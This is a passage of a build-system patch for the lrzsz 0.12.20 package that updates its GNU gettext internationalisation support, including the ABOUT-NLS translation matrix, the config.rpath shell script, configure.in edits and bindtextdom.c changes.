-+ gnubiff | [] |
-+ gnucash | [] [] () [] |
-+ gnucash-glossary | [] [] |
-+ gnupg | [] |
-+ gpe-aerial | [] [] [] [] |
-+ gpe-beam | [] [] [] [] |
-+ gpe-calendar | [] [] [] [] |
-+ gpe-clock | [] [] [] [] |
-+ gpe-conf | [] [] [] [] |
-+ gpe-contacts | [] [] [] [] |
-+ gpe-edit | [] [] [] [] |
-+ gpe-go | [] [] [] |
-+ gpe-login | [] [] [] [] |
-+ gpe-ownerinfo | [] [] [] [] |
-+ gpe-sketchbook | [] [] [] [] |
-+ gpe-su | [] [] [] [] |
-+ gpe-taskmanager | [] [] [] [] |
-+ gpe-timesheet | [] [] [] [] |
-+ gpe-today | [] [] [] [] |
-+ gpe-todo | [] [] [] [] |
-+ gphoto2 | [] |
-+ gprof | [] [] |
-+ gpsdrive | () () [] |
-+ gramadoir | () [] |
-+ grep | [] [] [] [] [] |
-+ gretl | |
-+ gtick | [] [] [] |
-+ hello | [] [] [] [] [] [] [] [] [] [] |
-+ id-utils | [] [] [] [] |
-+ indent | [] [] [] [] |
-+ iso_3166 | [] [] [] |
-+ iso_3166_1 | [] [] |
-+ iso_3166_2 | |
-+ iso_3166_3 | [] |
-+ iso_4217 | [] [] [] [] [] [] [] [] |
-+ iso_639 | [] |
-+ jpilot | () () |
-+ jtag | |
-+ jwhois | [] [] [] [] () |
-+ kbd | [] [] [] |
-+ latrine | [] |
-+ ld | |
-+ libc | [] [] [] [] |
-+ libgpewidget | [] [] [] |
-+ libiconv | [] [] [] [] [] |
-+ lifelines | |
-+ lilypond | |
-+ lingoteach | |
-+ lingoteach_lessons | |
-+ lynx | [] [] [] |
-+ m4 | [] [] [] [] [] |
-+ mailutils | [] [] [] |
-+ make | [] [] [] [] |
-+ man-db | [] |
-+ minicom | [] [] [] [] |
-+ mysecretdiary | [] [] [] |
-+ nano | [] [] [] [] [] |
-+ nano_1_0 | [] [] [] [] [] [] |
-+ opcodes | [] [] |
-+ parted | [] [] [] [] |
-+ ptx | [] [] [] [] [] [] [] [] |
-+ python | |
-+ radius | [] [] |
-+ recode | [] [] [] [] |
-+ rpm | [] [] [] |
-+ screem | |
-+ scrollkeeper | [] [] [] [] [] |
-+ sed | [] [] [] |
-+ sh-utils | [] [] |
-+ shared-mime-info | [] [] |
-+ sharutils | [] [] |
-+ silky | () |
-+ skencil | [] [] |
-+ sketch | [] [] |
-+ soundtracker | |
-+ sp | |
-+ tar | [] [] [] [] [] [] |
-+ texinfo | [] [] [] [] |
-+ textutils | [] [] |
-+ tin | |
-+ tp-robot | [] |
-+ tuxpaint | [] [] [] [] [] [] [] [] |
-+ unicode-han-tra... | |
-+ unicode-transla... | |
-+ util-linux | [] [] [] |
-+ vorbis-tools | [] [] [] |
-+ wastesedge | |
-+ wdiff | [] [] [] [] [] |
-+ wget | [] [] [] |
-+ xchat | [] [] [] |
-+ xfree86_xkb_xml | [] [] |
-+ xpad | [] [] |
-+ +-----------------------------------------------------+
-+ lt lv mk mn ms mt nb nl nn no nso pl pt pt_BR ro ru
-+ 1 2 0 3 12 0 10 69 6 7 1 40 26 36 76 63
-+
-+ sk sl sr sv ta th tr uk ven vi wa xh zh_CN zh_TW zu
-+ +-----------------------------------------------------+
-+ a2ps | [] [] [] [] | 16
-+ aegis | | 0
-+ ant-phone | | 3
-+ anubis | [] [] | 9
-+ ap-utils | () | 3
-+ aspell | | 4
-+ bash | | 9
-+ batchelor | | 3
-+ bfd | [] [] | 6
-+ binutils | [] [] [] | 8
-+ bison | [] [] | 14
-+ bluez-pin | [] [] [] | 14
-+ clisp | | 0
-+ clisp | | 5
-+ console-tools | | 3
-+ coreutils | [] [] [] [] | 16
-+ cpio | [] [] | 14
-+ darkstat | [] [] [] () () | 12
-+ diffutils | [] [] [] | 23
-+ e2fsprogs | [] [] | 6
-+ enscript | [] [] | 12
-+ error | [] [] [] | 15
-+ fetchmail | [] [] | 11
-+ fileutils | [] [] [] [] [] | 17
-+ findutils | [] [] [] [] [] [] | 29
-+ flex | [] [] | 13
-+ fslint | | 3
-+ gas | [] | 3
-+ gawk | [] [] | 12
-+ gbiff | | 4
-+ gcal | [] [] | 4
-+ gcc | [] | 4
-+ gettext | [] [] [] [] [] | 16
-+ gettext-examples | [] [] [] [] [] | 14
-+ gettext-runtime | [] [] [] [] [] [] [] [] | 22
-+ gettext-tools | [] [] [] [] [] [] | 14
-+ gimp-print | [] [] | 10
-+ gliv | | 3
-+ glunarclock | [] [] [] | 13
-+ gnubiff | | 3
-+ gnucash | [] [] | 9
-+ gnucash-glossary | [] [] [] | 8
-+ gnupg | [] [] [] [] | 17
-+ gpe-aerial | [] | 7
-+ gpe-beam | [] | 8
-+ gpe-calendar | [] [] [] [] | 13
-+ gpe-clock | [] [] [] | 10
-+ gpe-conf | [] [] | 9
-+ gpe-contacts | [] [] [] | 11
-+ gpe-edit | [] [] [] [] [] | 12
-+ gpe-go | | 5
-+ gpe-login | [] [] [] [] [] | 13
-+ gpe-ownerinfo | [] [] [] [] | 13
-+ gpe-sketchbook | [] [] | 9
-+ gpe-su | [] [] [] | 10
-+ gpe-taskmanager | [] [] [] | 10
-+ gpe-timesheet | [] [] [] [] | 12
-+ gpe-today | [] [] [] [] [] | 13
-+ gpe-todo | [] [] [] [] | 12
-+ gphoto2 | [] [] [] | 11
-+ gprof | [] [] | 9
-+ gpsdrive | [] [] | 3
-+ gramadoir | [] | 5
-+ grep | [] [] [] [] | 26
-+ gretl | | 3
-+ gtick | | 7
-+ hello | [] [] [] [] [] | 34
-+ id-utils | [] [] | 12
-+ indent | [] [] [] [] | 21
-+ iso_3166 | [] [] [] [] [] [] [] | 27
-+ iso_3166_1 | [] [] [] | 16
-+ iso_3166_2 | | 0
-+ iso_3166_3 | | 2
-+ iso_4217 | [] [] [] [] [] [] | 24
-+ iso_639 | | 1
-+ jpilot | [] [] [] [] [] | 9
-+ jtag | [] | 2
-+ jwhois | () [] [] | 11
-+ kbd | [] [] | 11
-+ latrine | | 2
-+ ld | [] [] | 5
-+ libc | [] [] [] [] | 20
-+ libgpewidget | [] [] [] [] | 13
-+ libiconv | [] [] [] [] [] [] [] [] | 27
-+ lifelines | [] | 2
-+ lilypond | [] | 3
-+ lingoteach | | 2
-+ lingoteach_lessons | () | 0
-+ lynx | [] [] [] | 14
-+ m4 | [] [] | 15
-+ mailutils | | 5
-+ make | [] [] [] | 16
-+ man-db | [] | 5
-+ minicom | | 11
-+ mysecretdiary | [] [] | 10
-+ nano | [] [] [] [] | 17
-+ nano_1_0 | [] [] [] | 17
-+ opcodes | [] [] | 6
-+ parted | [] [] [] | 15
-+ ptx | [] [] | 22
-+ python | | 0
-+ radius | | 4
-+ recode | [] [] [] | 20
-+ rpm | [] [] | 9
-+ screem | [] [] | 2
-+ scrollkeeper | [] [] [] | 15
-+ sed | [] [] [] [] [] [] | 24
-+ sh-utils | [] [] | 14
-+ shared-mime-info | [] [] | 7
-+ sharutils | [] [] [] [] | 17
-+ silky | () | 3
-+ skencil | [] | 6
-+ sketch | [] | 6
-+ soundtracker | [] [] | 7
-+ sp | [] | 3
-+ tar | [] [] [] [] [] | 24
-+ texinfo | [] [] [] | 14
-+ textutils | [] [] [] [] | 16
-+ tin | | 1
-+ tp-robot | | 2
-+ tuxpaint | [] [] [] [] [] | 29
-+ unicode-han-tra... | | 0
-+ unicode-transla... | | 2
-+ util-linux | [] [] | 15
-+ vorbis-tools | | 8
-+ wastesedge | | 0
-+ wdiff | [] [] [] | 18
-+ wget | [] [] [] [] [] [] [] [] | 24
-+ xchat | [] [] [] [] [] | 15
-+ xfree86_xkb_xml | [] [] [] [] [] | 11
-+ xpad | | 5
-+ +-----------------------------------------------------+
-+ 63 teams sk sl sr sv ta th tr uk ven vi wa xh zh_CN zh_TW zu
-+ 131 domains 47 19 28 83 0 0 59 13 1 1 11 0 22 22 0 1373
-
- Some counters in the preceding matrix are higher than the number of
- visible blocks let us expect. This is because a few extra PO files are
-@@ -220,6 +742,27 @@
- lag between the mere existence a PO file and its wide availability in a
- distribution.
-
-- If August 1997 seems to be old, you may fetch a more recent copy of
--this `ABOUT-NLS' file on most GNU archive sites.
-+ If January 2004 seems to be old, you may fetch a more recent copy of
-+this `ABOUT-NLS' file on most GNU archive sites. The most up-to-date
-+matrix with full percentage details can be found at
-+`http://www.iro.umontreal.ca/contrib/po/HTML/matrix.html'.
-+
-+Using `gettext' in new packages
-+===============================
-+
-+If you are writing a freely available program and want to
-+internationalize it you are welcome to use GNU `gettext' in your
-+package. Of course you have to respect the GNU Library General Public
-+License which covers the use of the GNU `gettext' library. This means
-+in particular that even non-free programs can use `libintl' as a shared
-+library, whereas only free software can use `libintl' as a static
-+library or use modified versions of `libintl'.
-+
-+ Once the sources are changed appropriately and the setup can handle
-+the use of `gettext' the only thing missing are the translations. The
-+Free Translation Project is also available for packages which are not
-+developed inside the GNU project. Therefore the information given above
-+applies also for every other Free Software Project. Contact
-+`translation@iro.umontreal.ca' to make the `.pot' files available to
-+the translation teams.
-
---- lrzsz-0.12.20.safe/ChangeLog 1998-12-29 17:49:56.000000000 -0500
-+++ lrzsz-0.12.20/ChangeLog 2004-09-12 14:40:35.846521456 -0400
-@@ -1,3 +1,11 @@
-+2004-09-12 gettextize <bug-gnu-gettext@gnu.org>
-+
-+ * Makefile.am (ACLOCAL_AMFLAGS): New variable.
-+ (EXTRA_DIST): Add config.rpath.
-+ * configure.in (AC_OUTPUT): Add m4/Makefile.
-+ (AC_OUTPUT): Remove command that created po/Makefile.
-+ (AC_LINK_FILES): Remove invocation.
-+
- 1998-12-29 Uwe Ohse <uwe@ohse.de>
-
- * src/lrz.c: removed stpcpy call.
---- lrzsz-0.12.20.safe/config.rpath 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/config.rpath 2004-09-12 14:40:34.329752040 -0400
-@@ -0,0 +1,548 @@
-+#! /bin/sh
-+# Output a system dependent set of variables, describing how to set the
-+# run time search path of shared libraries in an executable.
-+#
-+# Copyright 1996-2003 Free Software Foundation, Inc.
-+# Taken from GNU libtool, 2001
-+# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-+#
-+# This program is free software; you can redistribute it and/or modify
-+# it under the terms of the GNU General Public License as published by
-+# the Free Software Foundation; either version 2 of the License, or
-+# (at your option) any later version.
-+#
-+# This program is distributed in the hope that it will be useful, but
-+# WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# General Public License for more details.
-+#
-+# You should have received a copy of the GNU General Public License
-+# along with this program; if not, write to the Free Software
-+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-+#
-+# As a special exception to the GNU General Public License, if you
-+# distribute this file as part of a program that contains a
-+# configuration script generated by Autoconf, you may include it under
-+# the same distribution terms that you use for the rest of that program.
-+#
-+# The first argument passed to this file is the canonical host specification,
-+# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
-+# or
-+# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
-+# The environment variables CC, GCC, LDFLAGS, LD, with_gnu_ld
-+# should be set by the caller.
-+#
-+# The set of defined variables is at the end of this script.
-+
-+# Known limitations:
-+# - On IRIX 6.5 with CC="cc", the run time search patch must not be longer
-+# than 256 bytes, otherwise the compiler driver will dump core. The only
-+# known workaround is to choose shorter directory names for the build
-+# directory and/or the installation directory.
-+
-+# All known linkers require a `.a' archive for static linking (except M$VC,
-+# which needs '.lib').
-+libext=a
-+shrext=.so
-+
-+host="$1"
-+host_cpu=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
-+host_vendor=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
-+host_os=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
-+
-+# Code taken from libtool.m4's AC_LIBTOOL_PROG_COMPILER_PIC.
-+
-+wl=
-+if test "$GCC" = yes; then
-+ wl='-Wl,'
-+else
-+ case "$host_os" in
-+ aix*)
-+ wl='-Wl,'
-+ ;;
-+ mingw* | pw32* | os2*)
-+ ;;
-+ hpux9* | hpux10* | hpux11*)
-+ wl='-Wl,'
-+ ;;
-+ irix5* | irix6* | nonstopux*)
-+ wl='-Wl,'
-+ ;;
-+ newsos6)
-+ ;;
-+ linux*)
-+ case $CC in
-+ icc|ecc)
-+ wl='-Wl,'
-+ ;;
-+ ccc)
-+ wl='-Wl,'
-+ ;;
-+ esac
-+ ;;
-+ osf3* | osf4* | osf5*)
-+ wl='-Wl,'
-+ ;;
-+ sco3.2v5*)
-+ ;;
-+ solaris*)
-+ wl='-Wl,'
-+ ;;
-+ sunos4*)
-+ wl='-Qoption ld '
-+ ;;
-+ sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*)
-+ wl='-Wl,'
-+ ;;
-+ sysv4*MP*)
-+ ;;
-+ uts4*)
-+ ;;
-+ esac
-+fi
-+
-+# Code taken from libtool.m4's AC_LIBTOOL_PROG_LD_SHLIBS.
-+
-+hardcode_libdir_flag_spec=
-+hardcode_libdir_separator=
-+hardcode_direct=no
-+hardcode_minus_L=no
-+
-+case "$host_os" in
-+ cygwin* | mingw* | pw32*)
-+ # FIXME: the MSVC++ port hasn't been tested in a loooong time
-+ # When not using gcc, we currently assume that we are using
-+ # Microsoft Visual C++.
-+ if test "$GCC" != yes; then
-+ with_gnu_ld=no
-+ fi
-+ ;;
-+ openbsd*)
-+ with_gnu_ld=no
-+ ;;
-+esac
-+
-+ld_shlibs=yes
-+if test "$with_gnu_ld" = yes; then
-+ case "$host_os" in
-+ aix3* | aix4* | aix5*)
-+ # On AIX/PPC, the GNU linker is very broken
-+ if test "$host_cpu" != ia64; then
-+ ld_shlibs=no
-+ fi
-+ ;;
-+ amigaos*)
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ hardcode_minus_L=yes
-+ # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
-+ # that the semantics of dynamic libraries on AmigaOS, at least up
-+ # to version 4, is to share data among multiple programs linked
-+ # with the same dynamic library. Since this doesn't match the
-+ # behavior of shared libraries on other platforms, we can use
-+ # them.
-+ ld_shlibs=no
-+ ;;
-+ beos*)
-+ if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
-+ :
-+ else
-+ ld_shlibs=no
-+ fi
-+ ;;
-+ cygwin* | mingw* | pw32*)
-+ # hardcode_libdir_flag_spec is actually meaningless, as there is
-+ # no search path for DLLs.
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
-+ :
-+ else
-+ ld_shlibs=no
-+ fi
-+ ;;
-+ netbsd*)
-+ ;;
-+ solaris* | sysv5*)
-+ if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
-+ ld_shlibs=no
-+ elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
-+ :
-+ else
-+ ld_shlibs=no
-+ fi
-+ ;;
-+ sunos4*)
-+ hardcode_direct=yes
-+ ;;
-+ *)
-+ if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
-+ :
-+ else
-+ ld_shlibs=no
-+ fi
-+ ;;
-+ esac
-+ if test "$ld_shlibs" = yes; then
-+ # Unlike libtool, we use -rpath here, not --rpath, since the documented
-+ # option of GNU ld is called -rpath, not --rpath.
-+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
-+ fi
-+else
-+ case "$host_os" in
-+ aix3*)
-+ # Note: this linker hardcodes the directories in LIBPATH if there
-+ # are no directories specified by -L.
-+ hardcode_minus_L=yes
-+ if test "$GCC" = yes; then
-+ # Neither direct hardcoding nor static linking is supported with a
-+ # broken collect2.
-+ hardcode_direct=unsupported
-+ fi
-+ ;;
-+ aix4* | aix5*)
-+ if test "$host_cpu" = ia64; then
-+ # On IA64, the linker does run time linking by default, so we don't
-+ # have to do anything special.
-+ aix_use_runtimelinking=no
-+ else
-+ aix_use_runtimelinking=no
-+ # Test if we are trying to use run time linking or normal
-+ # AIX style linking. If -brtl is somewhere in LDFLAGS, we
-+ # need to do runtime linking.
-+ case $host_os in aix4.[23]|aix4.[23].*|aix5*)
-+ for ld_flag in $LDFLAGS; do
-+ if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
-+ aix_use_runtimelinking=yes
-+ break
-+ fi
-+ done
-+ esac
-+ fi
-+ hardcode_direct=yes
-+ hardcode_libdir_separator=':'
-+ if test "$GCC" = yes; then
-+ case $host_os in aix4.[012]|aix4.[012].*)
-+ collect2name=`${CC} -print-prog-name=collect2`
-+ if test -f "$collect2name" && \
-+ strings "$collect2name" | grep resolve_lib_name >/dev/null
-+ then
-+ # We have reworked collect2
-+ hardcode_direct=yes
-+ else
-+ # We have old collect2
-+ hardcode_direct=unsupported
-+ hardcode_minus_L=yes
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ hardcode_libdir_separator=
-+ fi
-+ esac
-+ fi
-+ # Begin _LT_AC_SYS_LIBPATH_AIX.
-+ echo 'int main () { return 0; }' > conftest.c
-+ ${CC} ${LDFLAGS} conftest.c -o conftest
-+ aix_libpath=`dump -H conftest 2>/dev/null | sed -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-+}'`
-+ if test -z "$aix_libpath"; then
-+ aix_libpath=`dump -HX64 conftest 2>/dev/null | sed -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-+}'`
-+ fi
-+ if test -z "$aix_libpath"; then
-+ aix_libpath="/usr/lib:/lib"
-+ fi
-+ rm -f conftest.c conftest
-+ # End _LT_AC_SYS_LIBPATH_AIX.
-+ if test "$aix_use_runtimelinking" = yes; then
-+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
-+ else
-+ if test "$host_cpu" = ia64; then
-+ hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib'
-+ else
-+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
-+ fi
-+ fi
-+ ;;
-+ amigaos*)
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ hardcode_minus_L=yes
-+ # see comment about different semantics on the GNU ld section
-+ ld_shlibs=no
-+ ;;
-+ bsdi4*)
-+ ;;
-+ cygwin* | mingw* | pw32*)
-+ # When not using gcc, we currently assume that we are using
-+ # Microsoft Visual C++.
-+ # hardcode_libdir_flag_spec is actually meaningless, as there is
-+ # no search path for DLLs.
-+ hardcode_libdir_flag_spec=' '
-+ libext=lib
-+ ;;
-+ darwin* | rhapsody*)
-+ if $CC -v 2>&1 | grep 'Apple' >/dev/null ; then
-+ hardcode_direct=no
-+ fi
-+ ;;
-+ dgux*)
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ ;;
-+ freebsd1*)
-+ ld_shlibs=no
-+ ;;
-+ freebsd2.2*)
-+ hardcode_libdir_flag_spec='-R$libdir'
-+ hardcode_direct=yes
-+ ;;
-+ freebsd2*)
-+ hardcode_direct=yes
-+ hardcode_minus_L=yes
-+ ;;
-+ freebsd*)
-+ hardcode_libdir_flag_spec='-R$libdir'
-+ hardcode_direct=yes
-+ ;;
-+ hpux9*)
-+ hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
-+ hardcode_libdir_separator=:
-+ hardcode_direct=yes
-+ # hardcode_minus_L: Not really in the search PATH,
-+ # but as the default location of the library.
-+ hardcode_minus_L=yes
-+ ;;
-+ hpux10* | hpux11*)
-+ if test "$with_gnu_ld" = no; then
-+ case "$host_cpu" in
-+ hppa*64*)
-+ hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
-+ hardcode_libdir_separator=:
-+ hardcode_direct=no
-+ ;;
-+ ia64*)
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ hardcode_direct=no
-+ # hardcode_minus_L: Not really in the search PATH,
-+ # but as the default location of the library.
-+ hardcode_minus_L=yes
-+ ;;
-+ *)
-+ hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
-+ hardcode_libdir_separator=:
-+ hardcode_direct=yes
-+ # hardcode_minus_L: Not really in the search PATH,
-+ # but as the default location of the library.
-+ hardcode_minus_L=yes
-+ ;;
-+ esac
-+ fi
-+ ;;
-+ irix5* | irix6* | nonstopux*)
-+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
-+ hardcode_libdir_separator=:
-+ ;;
-+ netbsd*)
-+ hardcode_libdir_flag_spec='-R$libdir'
-+ hardcode_direct=yes
-+ ;;
-+ newsos6)
-+ hardcode_direct=yes
-+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
-+ hardcode_libdir_separator=:
-+ ;;
-+ openbsd*)
-+ hardcode_direct=yes
-+ if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
-+ hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
-+ else
-+ case "$host_os" in
-+ openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
-+ hardcode_libdir_flag_spec='-R$libdir'
-+ ;;
-+ *)
-+ hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
-+ ;;
-+ esac
-+ fi
-+ ;;
-+ os2*)
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ hardcode_minus_L=yes
-+ ;;
-+ osf3*)
-+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
-+ hardcode_libdir_separator=:
-+ ;;
-+ osf4* | osf5*)
-+ if test "$GCC" = yes; then
-+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
-+ else
-+ # Both cc and cxx compiler support -rpath directly
-+ hardcode_libdir_flag_spec='-rpath $libdir'
-+ fi
-+ hardcode_libdir_separator=:
-+ ;;
-+ sco3.2v5*)
-+ ;;
-+ solaris*)
-+ hardcode_libdir_flag_spec='-R$libdir'
-+ ;;
-+ sunos4*)
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ hardcode_direct=yes
-+ hardcode_minus_L=yes
-+ ;;
-+ sysv4)
-+ case $host_vendor in
-+ sni)
-+ hardcode_direct=yes # is this really true???
-+ ;;
-+ siemens)
-+ hardcode_direct=no
-+ ;;
-+ motorola)
-+ hardcode_direct=no #Motorola manual says yes, but my tests say they lie
-+ ;;
-+ esac
-+ ;;
-+ sysv4.3*)
-+ ;;
-+ sysv4*MP*)
-+ if test -d /usr/nec; then
-+ ld_shlibs=yes
-+ fi
-+ ;;
-+ sysv4.2uw2*)
-+ hardcode_direct=yes
-+ hardcode_minus_L=no
-+ ;;
-+ sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*)
-+ ;;
-+ sysv5*)
-+ hardcode_libdir_flag_spec=
-+ ;;
-+ uts4*)
-+ hardcode_libdir_flag_spec='-L$libdir'
-+ ;;
-+ *)
-+ ld_shlibs=no
-+ ;;
-+ esac
-+fi
-+
-+# Check dynamic linker characteristics
-+# Code taken from libtool.m4's AC_LIBTOOL_SYS_DYNAMIC_LINKER.
-+libname_spec='lib$name'
-+case "$host_os" in
-+ aix3*)
-+ ;;
-+ aix4* | aix5*)
-+ ;;
-+ amigaos*)
-+ ;;
-+ beos*)
-+ ;;
-+ bsdi4*)
-+ ;;
-+ cygwin* | mingw* | pw32*)
-+ shrext=.dll
-+ ;;
-+ darwin* | rhapsody*)
-+ shrext=.dylib
-+ ;;
-+ dgux*)
-+ ;;
-+ freebsd1*)
-+ ;;
-+ freebsd*)
-+ ;;
-+ gnu*)
-+ ;;
-+ hpux9* | hpux10* | hpux11*)
-+ case "$host_cpu" in
-+ ia64*)
-+ shrext=.so
-+ ;;
-+ hppa*64*)
-+ shrext=.sl
-+ ;;
-+ *)
-+ shrext=.sl
-+ ;;
-+ esac
-+ ;;
-+ irix5* | irix6* | nonstopux*)
-+ case "$host_os" in
-+ irix5* | nonstopux*)
-+ libsuff= shlibsuff=
-+ ;;
-+ *)
-+ case $LD in
-+ *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") libsuff= shlibsuff= ;;
-+ *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") libsuff=32 shlibsuff=N32 ;;
-+ *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") libsuff=64 shlibsuff=64 ;;
-+ *) libsuff= shlibsuff= ;;
-+ esac
-+ ;;
-+ esac
-+ ;;
-+ linux*oldld* | linux*aout* | linux*coff*)
-+ ;;
-+ linux*)
-+ ;;
-+ netbsd*)
-+ ;;
-+ newsos6)
-+ ;;
-+ nto-qnx)
-+ ;;
-+ openbsd*)
-+ ;;
-+ os2*)
-+ libname_spec='$name'
-+ shrext=.dll
-+ ;;
-+ osf3* | osf4* | osf5*)
-+ ;;
-+ sco3.2v5*)
-+ ;;
-+ solaris*)
-+ ;;
-+ sunos4*)
-+ ;;
-+ sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*)
-+ ;;
-+ sysv4*MP*)
-+ ;;
-+ uts4*)
-+ ;;
-+esac
-+
-+sed_quote_subst='s/\(["`$\\]\)/\\\1/g'
-+escaped_wl=`echo "X$wl" | sed -e 's/^X//' -e "$sed_quote_subst"`
-+shlibext=`echo "$shrext" | sed -e 's,^\.,,'`
-+escaped_hardcode_libdir_flag_spec=`echo "X$hardcode_libdir_flag_spec" | sed -e 's/^X//' -e "$sed_quote_subst"`
-+
-+sed -e 's/^\([a-zA-Z0-9_]*\)=/acl_cv_\1=/' <<EOF
-+
-+# How to pass a linker flag through the compiler.
-+wl="$escaped_wl"
-+
-+# Static library suffix (normally "a").
-+libext="$libext"
-+
-+# Shared library suffix (normally "so").
-+shlibext="$shlibext"
-+
-+# Flag to hardcode \$libdir into a binary during linking.
-+# This must work even if \$libdir does not exist.
-+hardcode_libdir_flag_spec="$escaped_hardcode_libdir_flag_spec"
-+
-+# Whether we need a single -rpath flag with a separated argument.
-+hardcode_libdir_separator="$hardcode_libdir_separator"
-+
-+# Set to yes if using DIR/libNAME.so during linking hardcodes DIR into the
-+# resulting binary.
-+hardcode_direct="$hardcode_direct"
-+
-+# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-+# resulting binary.
-+hardcode_minus_L="$hardcode_minus_L"
-+
-+EOF
---- lrzsz-0.12.20.safe/configure.in 2004-09-12 14:39:55.161706488 -0400
-+++ lrzsz-0.12.20/configure.in 2004-09-12 14:40:35.816526016 -0400
-@@ -260,11 +260,10 @@
- AM_GNU_GETTEXT
-
- AC_DEFINE_UNQUOTED(LOCALEDIR,"$prefix/$DATADIRNAME")
--AC_LINK_FILES($nls_cv_header_libgt, $nls_cv_header_intl)
-
--AC_OUTPUT([Makefile intl/Makefile lib/Makefile testsuite/Makefile \
-+AC_OUTPUT([Makefile intl/Makefile lib/Makefile testsuite/Makefile m4/Makefile \
- man/Makefile po/Makefile.in src/Makefile debian/rules Specfile systype \
- src/lrzszbug],
--[sed -e "/POTFILES =/r po/POTFILES" po/Makefile.in > po/Makefile;
-+[
- chmod +x debian/rules;
- test -z "$CONFIG_HEADERS" || echo timestamp > stamp-h])
---- lrzsz-0.12.20.safe/intl/bindtextdom.c 1998-04-26 09:22:36.000000000 -0400
-+++ lrzsz-0.12.20/intl/bindtextdom.c 2004-09-12 14:40:34.343749912 -0400
-@@ -1,59 +1,75 @@
- /* Implementation of the bindtextdomain(3) function
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-+ Copyright (C) 1995-1998, 2000-2003 Free Software Foundation, Inc.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
--#if defined STDC_HEADERS || defined _LIBC
--# include <stdlib.h>
--#else
--# ifdef HAVE_MALLOC_H
--# include <malloc.h>
--# else
--void free ();
--# endif
--#endif
-+#include <stddef.h>
-+#include <stdlib.h>
-+#include <string.h>
-
--#if defined HAVE_STRING_H || defined _LIBC
--# include <string.h>
-+#ifdef _LIBC
-+# include <libintl.h>
- #else
--# include <strings.h>
--# ifndef memcpy
--# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
--# endif
-+# include "libgnuintl.h"
- #endif
-+#include "gettextP.h"
-
- #ifdef _LIBC
--# include <libintl.h>
-+/* We have to handle multi-threaded applications. */
-+# include <bits/libc-lock.h>
- #else
--# include "libgettext.h"
-+/* Provide dummy implementation if this is outside glibc. */
-+# define __libc_rwlock_define(CLASS, NAME)
-+# define __libc_rwlock_wrlock(NAME)
-+# define __libc_rwlock_unlock(NAME)
-+#endif
-+
-+/* The internal variables in the standalone libintl.a must have different
-+ names than the internal variables in GNU libc, otherwise programs
